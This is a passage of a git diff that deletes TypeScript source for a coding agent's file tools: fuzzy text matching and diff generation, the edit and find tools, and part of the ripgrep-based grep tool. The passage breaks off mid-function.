hyphen - * - Normalize special Unicode spaces to regular space - */ -export function normalizeForFuzzyMatch(text: string): string { - return text - .replace(/\r\n/g, "\n") - .replace(/\r/g, "\n") - .replace(/[“”]/g, '"') - .replace(/[‘’]/g, "'") - .replace(/[‐‑‒–—−]/g, "-") - .replace(UNICODE_SPACES, " ") - .split("\n") - .map((line) => line.replace(/[ \t]+$/g, "")) - .join("\n"); -} - -export interface FuzzyMatchResult { - /** Whether a match was found */ - found: boolean; - /** The index where the match starts (in the content that should be used for replacement) */ - index: number; - /** Length of the matched text */ - matchLength: number; - /** Whether fuzzy matching was used (false = exact match) */ - usedFuzzyMatch: boolean; - /** - * The content to use for replacement operations. - * When exact match: original content. When fuzzy match: normalized content. - */ - contentForReplacement: string; -} - -export interface ReplaceEdit { - oldText: string; - newText: string; -} - -interface MatchedEdit { - editIndex: number; - matchIndex: number; - matchLength: number; - newText: string; -} - -export interface AppliedEditsResult { - baseContent: string; - newContent: string; -} - -/** - * Find oldText in content, trying exact match first, then fuzzy match. - * - * When fuzzy matching is used, the returned contentForReplacement is the - * fuzzy-normalized version of the content. - */ -export function fuzzyFindText( - content: string, - oldText: string, -): FuzzyMatchResult { - const exactIndex = content.indexOf(oldText); - if (exactIndex !== -1) { - return { - found: true, - index: exactIndex, - matchLength: oldText.length, - usedFuzzyMatch: false, - contentForReplacement: content, - }; - } - - const normalizedContent = normalizeForFuzzyMatch(content); - const normalizedOldText = normalizeForFuzzyMatch(oldText); - const fuzzyIndex = normalizedContent.indexOf(normalizedOldText); - - if (fuzzyIndex === -1) { - return { - found: false, - index: -1, - matchLength: 0, - usedFuzzyMatch: false, - contentForReplacement: content, - }; - } - - return { - found: true, - index: fuzzyIndex, - matchLength: normalizedOldText.length, - usedFuzzyMatch: true, - contentForReplacement: normalizedContent, - }; -} - -/** Strip UTF-8 BOM if present, return both the BOM (if any) and the text without it */ -export function stripBom(content: string): { bom: string; text: string } { - return content.startsWith("\uFEFF") - ? { bom: "\uFEFF", text: content.slice(1) } - : { bom: "", text: content }; -} - -function countOccurrences(content: string, oldText: string): number { - const fuzzyContent = normalizeForFuzzyMatch(content); - const fuzzyOldText = normalizeForFuzzyMatch(oldText); - return fuzzyContent.split(fuzzyOldText).length - 1; -} - -function getNotFoundError( - path: string, - editIndex: number, - totalEdits: number, -): Error { - if (totalEdits === 1) { - return new Error( - `Could not find the exact text in ${path}. The old text must match exactly including all whitespace and newlines.`, - ); - } - return new Error( - `Could not find edits[${editIndex}] in ${path}. The oldText must match exactly including all whitespace and newlines.`, - ); -} - -function getDuplicateError( - path: string, - editIndex: number, - totalEdits: number, - occurrences: number, -): Error { - if (totalEdits === 1) { - return new Error( - `Found ${occurrences} occurrences of the text in ${path}. The text must be unique. Please provide more context to make it unique.`, - ); - } - return new Error( - `Found ${occurrences} occurrences of edits[${editIndex}] in ${path}. Each oldText must be unique. Please provide more context to make it unique.`, - ); -} - -function getEmptyOldTextError( - path: string, - editIndex: number, - totalEdits: number, -): Error { - if (totalEdits === 1) { - return new Error(`oldText must not be empty in ${path}.`); - } - return new Error(`edits[${editIndex}].oldText must not be empty in ${path}.`); -} - -function getNoChangeError(path: string, totalEdits: number): Error { - if (totalEdits === 1) { - return new Error( - `No changes made to ${path}. The replacement produced identical content. This might indicate an issue with special characters or the text not existing as expected.`, - ); - } - return new Error( - `No changes made to ${path}. The replacements produced identical content.`, - ); -} - -/** - * Apply one or more exact-text replacements to LF-normalized content. - * - * All edits are matched against the same original content. Replacements are - * then applied in reverse order so offsets remain stable. If any edit needs - * fuzzy matching, the operation runs in fuzzy-normalized content space to - * preserve current single-edit behavior. - */ -export function applyEditsToNormalizedContent( - normalizedContent: string, - edits: ReplaceEdit[], - path: string, -): AppliedEditsResult { - const normalizedEdits = edits.map((edit) => ({ - oldText: normalizeToLF(edit.oldText), - newText: normalizeToLF(edit.newText), - })); - - for (let i = 0; i < normalizedEdits.length; i++) { - if (normalizedEdits[i].oldText.length === 0) { - throw getEmptyOldTextError(path, i, normalizedEdits.length); - } - } - - const initialMatches = normalizedEdits.map((edit) => - fuzzyFindText(normalizedContent, edit.oldText), - ); - const baseContent = initialMatches.some((match) => match.usedFuzzyMatch) - ? normalizeForFuzzyMatch(normalizedContent) - : normalizedContent; - - const matchedEdits: MatchedEdit[] = []; - for (let i = 0; i < normalizedEdits.length; i++) { - const edit = normalizedEdits[i]; - const matchResult = fuzzyFindText(baseContent, edit.oldText); - if (!matchResult.found) { - throw getNotFoundError(path, i, normalizedEdits.length); - } - - const occurrences = countOccurrences(baseContent, edit.oldText); - if (occurrences > 1) { - throw getDuplicateError(path, i, normalizedEdits.length, occurrences); - } - - matchedEdits.push({ - editIndex: i, - matchIndex: matchResult.index, - matchLength: matchResult.matchLength, - newText: edit.newText, - }); - } - - matchedEdits.sort((a, b) => a.matchIndex - b.matchIndex); - for (let i = 1; i < matchedEdits.length; i++) { - const previous = matchedEdits[i - 1]; - const current = matchedEdits[i]; - if (previous.matchIndex + previous.matchLength > current.matchIndex) { - throw new Error( - `edits[${previous.editIndex}] and edits[${current.editIndex}] overlap in ${path}. Merge them into one edit or target disjoint regions.`, - ); - } - } - - let newContent = baseContent; - for (let i = matchedEdits.length - 1; i >= 0; i--) { - const edit = matchedEdits[i]; - newContent = - newContent.substring(0, edit.matchIndex) + - edit.newText + - newContent.substring(edit.matchIndex + edit.matchLength); - } - - if (baseContent === newContent) { - throw getNoChangeError(path, normalizedEdits.length); - } - - return { baseContent, newContent }; -} - -/** - * Generate a unified diff string with line numbers and context. - * - * Returns both the diff string and the first changed line number (in the new file). - * Only lines within `contextLines` of a change are included (like unified diff). - */ -export function generateDiffString( - oldContent: string, - newContent: string, - contextLines = 4, -): { diff: string; firstChangedLine: number | undefined } { - const ops = buildLineDiff(oldContent, newContent); - let firstChangedLine: number | undefined; - - // First pass: assign line numbers and find changed indices - const annotated: { op: LineDiffOp; oldLine: number; newLine: number }[] = []; - let oldLine = 1; - let newLine = 1; - const changedIndices: number[] = []; - - for (let idx = 0; idx < ops.length; idx++) { - const op = ops[idx]; - annotated.push({ op, oldLine, newLine }); - - if (op.type !== "context") { - changedIndices.push(idx); - if (firstChangedLine === undefined) { - firstChangedLine = newLine; - } - } - - if (op.type === "remove") { - oldLine += 1; - } else if (op.type === "add") { - newLine += 1; - } else { - oldLine += 1; - newLine += 1; - } - } - - // Build set of indices to include (changes + surrounding context) - const includeSet = new Set(); - for (const ci of changedIndices) { - for ( - let k = Math.max(0, ci - contextLines); - k <= Math.min(ops.length - 1, ci + contextLines); - k++ - ) { - includeSet.add(k); - } - } - - const maxLine = Math.max(oldLine - 1, newLine - 1, 1); - const lineNumberWidth = String(maxLine).length; - const rendered: string[] = []; - let lastIncluded = -1; - - for (let idx = 0; idx < annotated.length; idx++) { - if (!includeSet.has(idx)) continue; - - // Insert separator when there's a gap between included regions - if (lastIncluded !== -1 && idx > lastIncluded + 1) { - rendered.push("..."); - } - lastIncluded = idx; - - const { op, oldLine: ol, newLine: nl } = annotated[idx]; - if (op.type === "context") { - rendered.push(` ${String(nl).padStart(lineNumberWidth, " ")} ${op.line}`); - } else if (op.type === "remove") { - rendered.push(`-${String(ol).padStart(lineNumberWidth, " ")} ${op.line}`); - } else { - rendered.push(`+${String(nl).padStart(lineNumberWidth, " ")} ${op.line}`); - } - } - - return { - diff: rendered.join("\n"), - firstChangedLine, - }; -} - -export interface EditDiffResult { - diff: string; - firstChangedLine: number | undefined; -} - -export interface EditDiffError { - error: string; -} - -type LineDiffOp = - | { type: "context"; line: string } - | { type: "remove"; line: string } - | { type: "add"; line: string }; - -function splitLines(text: string): string[] { - const lines = text.split("\n"); - if (lines.length > 0 && lines.at(-1) === "") { - lines.pop(); - } - return lines; -} - -/** - * Maximum number of cells (oldLines * newLines) before we switch from the - * full LCS DP algorithm to a simpler linear-scan diff. This prevents OOM - * on large files (e.g. 10k lines would need a 100M-cell matrix). - */ -const MAX_DP_CELLS = 4_000_000; // ~32 MB for 64-bit numbers - -function buildLineDiff(oldContent: string, newContent: string): LineDiffOp[] { - const oldLines = splitLines(oldContent); - const newLines = splitLines(newContent); - - const cells = (oldLines.length + 1) * (newLines.length + 1); - if (cells > MAX_DP_CELLS) { - return buildLineDiffLinear(oldLines, newLines); - } - - return buildLineDiffLCS(oldLines, newLines); -} - -/** - * Full LCS-based diff using O(n*m) DP table. Produces optimal diffs but - * is only safe for files where n*m <= MAX_DP_CELLS. - */ -function buildLineDiffLCS( - oldLines: string[], - newLines: string[], -): LineDiffOp[] { - const dp: number[][] = Array.from({ length: oldLines.length + 1 }, () => - Array(newLines.length + 1).fill(0), - ); - - for (let i = oldLines.length - 1; i >= 0; i--) { - for (let j = newLines.length - 1; j >= 0; j--) { - if (oldLines[i] === newLines[j]) { - dp[i][j] = dp[i + 1][j + 1] + 1; - } else { - dp[i][j] = Math.max(dp[i + 1][j], dp[i][j + 1]); - } - } - } - - const ops: LineDiffOp[] = []; - let i = 0; - let j = 0; - - while (i < oldLines.length && j < newLines.length) { - if (oldLines[i] === newLines[j]) { - ops.push({ type: "context", line: oldLines[i] }); - i += 1; - j += 1; - continue; - } - - if (dp[i + 1][j] >= dp[i][j + 1]) { - ops.push({ type: "remove", line: oldLines[i] }); - i += 1; - } else { - ops.push({ type: "add", line: newLines[j] }); - j += 1; - } - } - - while (i < oldLines.length) { - ops.push({ type: "remove", line: oldLines[i] }); - i += 1; - } - - while (j < newLines.length) { - ops.push({ type: "add", line: newLines[j] }); - j += 1; - } - - return ops; -} - -/** - * Linear-time fallback diff for large files. Matches common prefix/suffix, - * then treats the remaining middle as a bulk remove+add. Not optimal but - * O(n+m) in both time and space. - */ -function buildLineDiffLinear( - oldLines: string[], - newLines: string[], -): LineDiffOp[] { - const ops: LineDiffOp[] = []; - - // Match common prefix - let prefixLen = 0; - const minLen = Math.min(oldLines.length, newLines.length); - while (prefixLen < minLen && oldLines[prefixLen] === newLines[prefixLen]) { - prefixLen++; - } - - // Match common suffix (not overlapping with prefix) - let suffixLen = 0; - while ( - suffixLen < minLen - prefixLen && - oldLines[oldLines.length - 1 - suffixLen] === - newLines[newLines.length - 1 - suffixLen] - ) { - suffixLen++; - } - - // Emit prefix context - for (let i = 0; i < prefixLen; i++) { - ops.push({ type: "context", line: oldLines[i] }); - } - - // Emit removed lines from the middle - for (let i = prefixLen; i < oldLines.length - suffixLen; i++) { - ops.push({ type: "remove", line: oldLines[i] }); - } - - // Emit added lines from the middle - for (let j = prefixLen; j < newLines.length - suffixLen; j++) { - ops.push({ type: "add", line: newLines[j] }); - } - - // Emit suffix context - for (let i = oldLines.length - suffixLen; i < oldLines.length; i++) { - ops.push({ type: "context", line: oldLines[i] }); - } - - return ops; -} - -/** - * Compute the diff for one or more edit operations without applying them. - * Used for preview rendering in the TUI before the tool executes. - */ -export async function computeEditsDiff( - path: string, - edits: ReplaceEdit[], - cwd: string, -): Promise { - const absolutePath = resolveToCwd(path, cwd); - - try { - // Check if file exists and is readable - try { - await access(absolutePath, constants.R_OK); - } catch { - return { error: `File not found: ${path}` }; - } - - // Read the file - const rawContent = await readFile(absolutePath, "utf-8"); - - // Strip BOM before matching (LLM won't include invisible BOM in oldText) - const { text: content } = stripBom(rawContent); - const normalizedContent = normalizeToLF(content); - const { baseContent, newContent } = applyEditsToNormalizedContent( - normalizedContent, - edits, - path, - ); - - // Generate the diff - return generateDiffString(baseContent, newContent); - } catch (err) { - return { error: err instanceof Error ? err.message : String(err) }; - } -} - -/** - * Compute the diff for a single edit operation without applying it. - * Kept as a convenience wrapper for single-edit callers. - */ -export async function computeEditDiff( - path: string, - oldText: string, - newText: string, - cwd: string, -): Promise { - return computeEditsDiff(path, [{ oldText, newText }], cwd); -} diff --git a/packages/pi-coding-agent/src/core/tools/edit.ts b/packages/pi-coding-agent/src/core/tools/edit.ts deleted file mode 100644 index 6778771b1..000000000 --- a/packages/pi-coding-agent/src/core/tools/edit.ts +++ /dev/null @@ -1,289 +0,0 @@ -import { constants } from "node:fs"; -import { - access as fsAccess, - readFile as fsReadFile, - writeFile as fsWriteFile, -} from "node:fs/promises"; -import { type Static, Type } from "@sinclair/typebox"; -import type { AgentTool } from "@singularity-forge/pi-agent-core"; -import { notifyFileChanged } from "../lsp/client.js"; -import { - applyEditsToNormalizedContent, - detectLineEnding, - fuzzyFindText, - generateDiffString, - normalizeForFuzzyMatch, - normalizeToLF, - type ReplaceEdit, - restoreLineEndings, - stripBom, -} from "./edit-diff.js"; -import { resolveToCwd } from "./path-utils.js"; - -const editSchema = Type.Object({ - path: Type.String({ - description: "Path to the file to edit (relative or absolute)", - }), - oldText: Type.Optional( - Type.String({ - description: - "Exact text to find and replace. Use for a single replacement.", - }), - ), - newText: Type.Optional( - Type.String({ - description: - "New text to replace oldText with. Required when oldText is provided.", - }), - ), - edits: Type.Optional( - Type.Array( - Type.Object({ - oldText: Type.String({ - description: "Exact text to find (must be unique in the file)", - }), - newText: Type.String({ description: "Replacement text" }), - }), - { - description: - "Multiple disjoint replacements in the same file. Use instead of oldText/newText for multi-region edits.", - }, - ), - ), -}); - -export type EditToolInput = Static; - -export interface EditToolDetails { - /** Unified diff of the changes made */ - diff: string; - /** Line number of the first change in the new file (for editor navigation) */ - firstChangedLine?: number; -} - -/** - * Pluggable operations for the edit tool. - * Override these to delegate file editing to remote systems (e.g., SSH). - */ -export interface EditOperations { - /** Read file contents as a Buffer */ - readFile: (absolutePath: string) => Promise; - /** Write content to a file */ - writeFile: (absolutePath: string, content: string) => Promise; - /** Check if file is readable and writable (throw if not) */ - access: (absolutePath: string) => Promise; -} - -const defaultEditOperations: EditOperations = { - readFile: (path) => fsReadFile(path), - writeFile: (path, content) => fsWriteFile(path, content, "utf-8"), - access: (path) => fsAccess(path, constants.R_OK | constants.W_OK), -}; - -export interface EditToolOptions { - /** Custom operations for file editing. Default: local filesystem */ - operations?: EditOperations; -} - -export function createEditTool( - cwd: string, - options?: EditToolOptions, -): AgentTool { - const ops = options?.operations ?? defaultEditOperations; - - return { - name: "edit", - label: "edit", - description: - "Edit a file using exact text replacement. Use oldText/newText for a single replacement. Use edits[] when changing multiple separate, disjoint regions in the same file in one call — each edits[].oldText must be unique and non-overlapping.", - parameters: editSchema, - execute: async ( - _toolCallId: string, - { path, oldText, newText, edits: editsInput }: EditToolInput, - signal?: AbortSignal, - ) => { - const absolutePath = resolveToCwd(path, cwd); - - return new Promise<{ - content: Array<{ type: "text"; text: string }>; - details: EditToolDetails | undefined; - }>((resolve, reject) => { - // Check if already aborted - if (signal?.aborted) { - reject(new Error("Operation aborted")); - return; - } - - let aborted = false; - - // Set up abort handler - const onAbort = () => { - aborted = true; - reject(new Error("Operation aborted")); - }; - - if (signal) { - signal.addEventListener("abort", onAbort, { once: true }); - } - - // Perform the edit operation - (async () => { - try { - // Check if file exists - try { - await ops.access(absolutePath); - } catch { - if (signal) { - signal.removeEventListener("abort", onAbort); - } - reject(new Error(`File not found: ${path}`)); - return; - } - - // Check if aborted before reading - if (aborted) { - return; - } - - // Read the file - const buffer = await ops.readFile(absolutePath); - const rawContent = buffer.toString("utf-8"); - - // Check if aborted after reading - if (aborted) { - return; - } - - // Strip BOM before matching (LLM won't include invisible BOM in oldText) - const { bom, text: content } = stripBom(rawContent); - - const originalEnding = detectLineEnding(content); - const normalizedContent = normalizeToLF(content); - - let baseContent: string; - let newContent: string; - - if (editsInput && editsInput.length > 0) { - // Multi-edit mode: apply all edits at once - const result = applyEditsToNormalizedContent( - normalizedContent, - editsInput as ReplaceEdit[], - path, - ); - baseContent = result.baseContent; - newContent = result.newContent; - } else if (oldText !== undefined && newText !== undefined) { - // Single-edit mode: fuzzy match single replacement - const normalizedOldText = normalizeToLF(oldText); - const normalizedNewText = normalizeToLF(newText); - - const matchResult = fuzzyFindText( - normalizedContent, - normalizedOldText, - ); - if (!matchResult.found) { - if (signal) signal.removeEventListener("abort", onAbort); - reject( - new Error( - `Could not find the exact text in ${path}. The old text must match exactly including all whitespace and newlines.`, - ), - ); - return; - } - - const fuzzyContent = normalizeForFuzzyMatch(normalizedContent); - const fuzzyOldText = normalizeForFuzzyMatch(normalizedOldText); - const occurrences = fuzzyContent.split(fuzzyOldText).length - 1; - if (occurrences > 1) { - if (signal) signal.removeEventListener("abort", onAbort); - reject( - new Error( - `Found ${occurrences} occurrences of the text in ${path}. The text must be unique. Please provide more context to make it unique.`, - ), - ); - return; - } - - baseContent = matchResult.contentForReplacement; - newContent = - baseContent.substring(0, matchResult.index) + - normalizedNewText + - baseContent.substring( - matchResult.index + matchResult.matchLength, - ); - - if (baseContent === newContent) { - if (signal) signal.removeEventListener("abort", onAbort); - reject( - new Error( - `No changes made to ${path}. The replacement produced identical content. This might indicate an issue with special characters or the text not existing as expected.`, - ), - ); - return; - } - } else { - if (signal) signal.removeEventListener("abort", onAbort); - reject( - new Error( - "Edit tool input is invalid. Provide either oldText and newText, or edits[].", - ), - ); - return; - } - - // Check if aborted before writing - if (aborted) { - return; - } - - const finalContent = - bom + restoreLineEndings(newContent, originalEnding); - await ops.writeFile(absolutePath, finalContent); - - try { - notifyFileChanged(absolutePath); - } catch { - /* best-effort */ - } - - // Check if aborted after writing - if (aborted) { - return; - } - - // Clean up abort handler - if (signal) { - signal.removeEventListener("abort", onAbort); - } - - const diffResult = generateDiffString(baseContent, newContent); - resolve({ - content: [ - { - type: "text", - text: `Successfully replaced text in ${path}.`, - }, - ], - details: { - diff: diffResult.diff, - firstChangedLine: diffResult.firstChangedLine, - }, - }); - } catch (error: any) { - // Clean up abort handler - if (signal) { - signal.removeEventListener("abort", onAbort); - } - - if (!aborted) { - reject(error); - } - } - })(); - }); - }, - }; -} - -/** Default edit tool using process.cwd() - for backwards compatibility */ -export const editTool = createEditTool(process.cwd()); diff --git a/packages/pi-coding-agent/src/core/tools/find.ts b/packages/pi-coding-agent/src/core/tools/find.ts deleted file mode 100644 index bc2f53546..000000000 --- a/packages/pi-coding-agent/src/core/tools/find.ts +++ /dev/null @@ -1,233 +0,0 @@ -import { existsSync } from "node:fs"; -import path from "node:path"; -import { type Static, Type } from "@sinclair/typebox"; -import { glob as nativeGlob } from "@singularity-forge/native/glob"; -import type { AgentTool } from "@singularity-forge/pi-agent-core"; -import { FIND_DEFAULT_LIMIT } from "../constants.js"; -import { resolveToCwd } from "./path-utils.js"; -import { - DEFAULT_MAX_BYTES, - formatSize, - type TruncationResult, - truncateHead, -} from "./truncate.js"; - -const findSchema = Type.Object({ - pattern: Type.String({ - description: - "Glob pattern to match files, e.g. '*.ts', '**/*.json', or 'src/**/*.spec.ts'", - }), - path: Type.Optional( - Type.String({ - description: "Directory to search in (default: current directory)", - }), - ), - limit: Type.Optional( - Type.Number({ description: "Maximum number of results (default: 1000)" }), - ), -}); - -export type FindToolInput = Static; - -const DEFAULT_LIMIT = FIND_DEFAULT_LIMIT; - -export interface FindToolDetails { - truncation?: TruncationResult; - resultLimitReached?: number; -} - -/** - * Pluggable operations for the find tool. - * Override these to delegate file search to remote systems (e.g., SSH). - */ -export interface FindOperations { - /** Check if path exists */ - exists: (absolutePath: string) => Promise | boolean; - /** Find files matching glob pattern. Returns relative paths. */ - glob: ( - pattern: string, - cwd: string, - options: { ignore: string[]; limit: number }, - ) => Promise | string[]; -} - -const defaultFindOperations: FindOperations = { - exists: existsSync, - glob: (_pattern, _searchCwd, _options) => { - // Placeholder — actual native glob execution happens in execute - return []; - }, -}; - -export interface FindToolOptions { - /** Custom operations for find. Default: local filesystem + native glob */ - operations?: FindOperations; -} - -export function createFindTool( - cwd: string, - options?: FindToolOptions, -): AgentTool { - const customOps = options?.operations; - - return { - name: "find", - label: "find", - description: `Search for files by glob pattern. Returns matching file paths relative to the search directory. Respects .gitignore. Output is truncated to ${DEFAULT_LIMIT} results or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first).`, - parameters: findSchema, - execute: async ( - _toolCallId: string, - { - pattern, - path: searchDir, - limit, - }: { pattern: string; path?: string; limit?: number }, - signal?: AbortSignal, - ) => { - return new Promise((resolve, reject) => { - if (signal?.aborted) { - reject(new Error("Operation aborted")); - return; - } - - const onAbort = () => reject(new Error("Operation aborted")); - signal?.addEventListener("abort", onAbort, { once: true }); - - (async () => { - try { - const searchPath = resolveToCwd(searchDir || ".", cwd); - const effectiveLimit = limit ?? DEFAULT_LIMIT; - const ops = customOps ?? defaultFindOperations; - - // If custom operations provided with glob, use that - if (customOps?.glob) { - if (!(await ops.exists(searchPath))) { - reject(new Error(`Path not found: ${searchPath}`)); - return; - } - - const results = await ops.glob(pattern, searchPath, { - ignore: ["**/node_modules/**", "**/.git/**"], - limit: effectiveLimit, - }); - - signal?.removeEventListener("abort", onAbort); - - if (results.length === 0) { - resolve({ - content: [ - { type: "text", text: "No files found matching pattern" }, - ], - details: undefined, - }); - return; - } - - // Relativize paths - const relativized = results.map((p) => { - if (p.startsWith(searchPath)) { - return p.slice(searchPath.length + 1); - } - return path.relative(searchPath, p); - }); - - const resultLimitReached = relativized.length >= effectiveLimit; - const rawOutput = relativized.join("\n"); - const truncation = truncateHead(rawOutput, { - maxLines: Number.MAX_SAFE_INTEGER, - }); - - let resultOutput = truncation.content; - const details: FindToolDetails = {}; - const notices: string[] = []; - - if (resultLimitReached) { - notices.push(`${effectiveLimit} results limit reached`); - details.resultLimitReached = effectiveLimit; - } - - if (truncation.truncated) { - notices.push(`${formatSize(DEFAULT_MAX_BYTES)} limit reached`); - details.truncation = truncation; - } - - if (notices.length > 0) { - resultOutput += `\n\n[${notices.join(". ")}]`; - } - - resolve({ - content: [{ type: "text", text: resultOutput }], - details: Object.keys(details).length > 0 ? details : undefined, - }); - return; - } - - // Default: use native Rust glob - const globResult = await nativeGlob({ - pattern, - path: searchPath, - hidden: true, - gitignore: true, - cache: true, - maxResults: effectiveLimit, - }); - - signal?.removeEventListener("abort", onAbort); - - if (globResult.matches.length === 0) { - resolve({ - content: [ - { type: "text", text: "No files found matching pattern" }, - ], - details: undefined, - }); - return; - } - - // Native glob returns paths relative to the search root - const relativized = globResult.matches.map( - (m: { path: string }) => m.path, - ); - - const resultLimitReached = relativized.length >= effectiveLimit; - const rawOutput = relativized.join("\n"); - const truncation = truncateHead(rawOutput, { - maxLines: Number.MAX_SAFE_INTEGER, - }); - - let resultOutput = truncation.content; - const details: FindToolDetails = {}; - const notices: string[] = []; - - if (resultLimitReached) { - notices.push( - `${effectiveLimit} results limit reached. Use limit=${effectiveLimit * 2} for more, or refine pattern`, - ); - details.resultLimitReached = effectiveLimit; - } - - if (truncation.truncated) { - notices.push(`${formatSize(DEFAULT_MAX_BYTES)} limit reached`); - details.truncation = truncation; - } - - if (notices.length > 0) { - resultOutput += `\n\n[${notices.join(". ")}]`; - } - - resolve({ - content: [{ type: "text", text: resultOutput }], - details: Object.keys(details).length > 0 ? details : undefined, - }); - } catch (e: any) { - signal?.removeEventListener("abort", onAbort); - reject(e); - } - })(); - }); - }, - }; -} - -/** Default find tool using process.cwd() - for backwards compatibility */ -export const findTool = createFindTool(process.cwd()); diff --git a/packages/pi-coding-agent/src/core/tools/grep.ts b/packages/pi-coding-agent/src/core/tools/grep.ts deleted file mode 100644 index 34b380e8b..000000000 --- a/packages/pi-coding-agent/src/core/tools/grep.ts +++ /dev/null @@ -1,427 +0,0 @@ -import { spawn } from "node:child_process"; -import { readFileSync, statSync } from "node:fs"; -import path from "node:path"; -import { createInterface } from "node:readline"; -import { type Static, Type } from "@sinclair/typebox"; -import type { AgentTool } from "@singularity-forge/pi-agent-core"; -import { ensureTool } from "../../utils/tools-manager.js"; -import { resolveToCwd } from "./path-utils.js"; -import { - DEFAULT_MAX_BYTES, - formatSize, - GREP_MAX_LINE_LENGTH, - type TruncationResult, - truncateHead, - truncateLine, -} from "./truncate.js"; - -const grepSchema = Type.Object({ - pattern: Type.String({ - description: "Search pattern (regex or literal string)", - }), - path: Type.Optional( - Type.String({ - description: "Directory or file to search (default: current directory)", - }), - ), - glob: Type.Optional( - Type.String({ - description: - "Filter files by glob pattern, e.g. '*.ts' or '**/*.spec.ts'", - }), - ), - ignoreCase: Type.Optional( - Type.Boolean({ description: "Case-insensitive search (default: false)" }), - ), - literal: Type.Optional( - Type.Boolean({ - description: - "Treat pattern as literal string instead of regex (default: false)", - }), - ), - context: Type.Optional( - Type.Number({ - description: - "Number of lines to show before and after each match (default: 0)", - }), - ), - limit: Type.Optional( - Type.Number({ - description: "Maximum number of matches to return (default: 100)", - }), - ), -}); - -export type GrepToolInput = Static; - -const DEFAULT_LIMIT = 100; - -export interface GrepToolDetails { - truncation?: TruncationResult; - matchLimitReached?: number; - linesTruncated?: boolean; -} - -/** - * Pluggable operations for the grep tool. - * Override these to delegate search to remote systems (e.g., SSH). - */ -export interface GrepOperations { - /** Check if path is a directory. Throws if path doesn't exist. */ - isDirectory: (absolutePath: string) => Promise | boolean; - /** Read file contents for context lines */ - readFile: (absolutePath: string) => Promise | string; -} - -const defaultGrepOperations: GrepOperations = { - isDirectory: (p) => statSync(p).isDirectory(), - readFile: (p) => readFileSync(p, "utf-8"), -}; - -export interface GrepToolOptions { - /** Custom operations for grep. Default: local filesystem + ripgrep */ - operations?: GrepOperations; -} - -export function createGrepTool( - cwd: string, - options?: GrepToolOptions, -): AgentTool { - const customOps = options?.operations; - - return { - name: "grep", - label: "grep", - description: `Search file contents for a pattern. Returns matching lines with file paths and line numbers. Respects .gitignore. Output is truncated to ${DEFAULT_LIMIT} matches or ${DEFAULT_MAX_BYTES / 1024}KB (whichever is hit first). Long lines are truncated to ${GREP_MAX_LINE_LENGTH} chars.`, - parameters: grepSchema, - execute: async ( - _toolCallId: string, - { - pattern, - path: searchDir, - glob, - ignoreCase, - literal, - context, - limit, - }: { - pattern: string; - path?: string; - glob?: string; - ignoreCase?: boolean; - literal?: boolean; - context?: number; - limit?: number; - }, - signal?: AbortSignal, - ) => { - return new Promise((resolve, reject) => { - if (signal?.aborted) { - reject(new Error("Operation aborted")); - return; - } - - let settled = false; - const settle = (fn: () => void) => { - if (!settled) { - settled = true; - fn(); - } - }; - - (async () => { - try { - const rgPath = await ensureTool("rg", true); - if (!rgPath) { - settle(() => - reject( - new Error( - "ripgrep (rg) is not available and could not be downloaded", - ), - ), - ); - return; - } - - const searchPath = resolveToCwd(searchDir || ".", cwd); - const ops = customOps ?? defaultGrepOperations; - - let isDirectory: boolean; - try { - isDirectory = await ops.isDirectory(searchPath); - } catch (_err) { - settle(() => reject(new Error(`Path not found: ${searchPath}`))); - return; - } - const contextValue = context && context > 0 ? context : 0; - const effectiveLimit = Math.max(1, limit ?? DEFAULT_LIMIT); - - const formatPath = (filePath: string): string => { - if (isDirectory) { - const relative = path.relative(searchPath, filePath); - if (relative && !relative.startsWith("..")) { - return relative.replace(/\\/g, "/"); - } - } - return path.basename(filePath); - }; - - const fileCache = new Map(); - const getFileLines = async ( - filePath: string, - ): Promise => { - let lines = fileCache.get(filePath); - if (!lines) { - try { - const content = await ops.readFile(filePath); - lines = content - .replace(/\r\n/g, "\n") - .replace(/\r/g, "\n") - .split("\n"); - } catch { - lines = []; - } - fileCache.set(filePath, lines); - } - return lines; - }; - - const args: string[] = [ - "--json", - "--line-number", - "--color=never", - "--hidden", - ]; - - if (ignoreCase) { - args.push("--ignore-case"); - } - - if (literal) { - args.push("--fixed-strings"); - } - - if (glob) { - args.push("--glob", glob); - } - - args.push(pattern, searchPath); - - const child = spawn(rgPath, args, { - stdio: ["ignore", "pipe", "pipe"], - }); - const rl = createInterface({ input: child.stdout }); - let stderr = ""; - let matchCount = 0; - let matchLimitReached = false; - let linesTruncated = false; - let aborted = false; - let killedDueToLimit = false; - const outputLines: string[] = []; - - const cleanup = () => { - rl.close(); - signal?.removeEventListener("abort", onAbort); - }; - - const stopChild = (dueToLimit: boolean = false) => { - if (!child.killed) { - killedDueToLimit = dueToLimit; - child.kill(); - } - }; - - const onAbort = () => { - aborted = true; - stopChild(); - }; - - signal?.addEventListener("abort", onAbort, { once: true }); - - child.stderr?.on("data", (chunk) => { - stderr += chunk.toString(); - }); - - const formatBlock = async ( - filePath: string, - lineNumber: number, - ): Promise => { - const relativePath = formatPath(filePath); - const lines = await getFileLines(filePath); - if (!lines.length) { - return [`${relativePath}:${lineNumber}: (unable to read file)`]; - } - - const block: string[] = []; - const start = - contextValue > 0 - ? Math.max(1, lineNumber - contextValue) - : lineNumber; - const end = - contextValue > 0 - ? Math.min(lines.length, lineNumber + contextValue) - : lineNumber; - - for (let current = start; current <= end; current++) { - const lineText = lines[current - 1] ?? ""; - const sanitized = lineText.replace(/\r/g, ""); - const isMatchLine = current === lineNumber; - - // Truncate long lines - const { text: truncatedText, wasTruncated } = - truncateLine(sanitized); - if (wasTruncated) { - linesTruncated = true; - } - - if (isMatchLine) { - block.push(`${relativePath}:${current}: ${truncatedText}`); - } else { - block.push(`${relativePath}-${current}- ${truncatedText}`); - } - } - - return block; - }; - - // Collect matches during streaming, then format them after rg exits. - const matches: Array<{ - filePath: string; - lineNumber: number; - lineText?: string; - }> = []; - rl.on("line", (line) => { - if (!line.trim() || matchCount >= effectiveLimit) { - return; - } - - let event: any; - try { - event = JSON.parse(line); - } catch { - return; - } - - if (event.type === "match") { - matchCount++; - const filePath = event.data?.path?.text; - const lineNumber = event.data?.line_number; - const lineText = event.data?.lines?.text; - if (filePath && typeof lineNumber === "number") - matches.push({ filePath, lineNumber, lineText }); - if (matchCount >= effectiveLimit) { - matchLimitReached = true; - stopChild(true); - } - } - }); - - child.on("error", (error) => { - cleanup(); - settle(() => - reject(new Error(`Failed to run ripgrep: ${error.message}`)), - ); - }); - - child.on("close", async (code) => { - cleanup(); - - if (aborted) { - settle(() => reject(new 